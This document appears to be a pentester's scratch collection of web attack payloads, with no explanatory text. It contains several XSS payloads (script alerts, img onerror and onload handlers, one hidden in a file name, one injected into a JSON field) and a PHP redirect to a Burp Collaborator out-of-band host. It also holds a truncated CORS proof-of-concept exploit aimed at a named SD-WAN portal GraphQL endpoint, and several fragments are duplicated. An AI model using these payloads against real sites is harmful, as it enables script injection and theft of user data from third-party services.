EDMPL

## test.html
<script>alert(document.domain);</script>

## payload.txt
{"data":"lollollol">}<img src=x>"}-->

## test.html
<img src=x onerror=alert();>

## test.php
<?php
        header('Location: http://g5mroudjvatgtwp6jyn84jkosfy9my.burpcollaborator.net.com/test');
?>

## "><img src=x onerror=alert();>.jpg
<img src="data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=" onload=alert(1)>

## test.html
<script>alert(document.domain);</script>

## testcors.html
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Get User Profile Information</h3>

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://testbed-sdwanportal.m1net.com.sg/hms-sdwan-api/graphql', true);

## testpayload.jpg
<script>alert(document.domain);</script>

## test.json
{"myJSON": "legit", "someParam": "12345<script>alert(1)</script>"}

## 404
<script>alert();</script>
	<?php
	header('Location: http://g5mroudjvatgtwp6jyn84jkosfy9my.burpcollaborator.net.com/test');
	?>
	<!DOCTYPE html>
	<html>
	<body>
	<center>
	<h2>CORS POC Exploit</h2>
	<h3>Get User Profile Information</h3>

	<script>
	var xhr = new XMLHttpRequest();
	xhr.open('POST', 'https://testbed-sdwanportal.m1net.com.sg/hms-sdwan-api/graphql', true);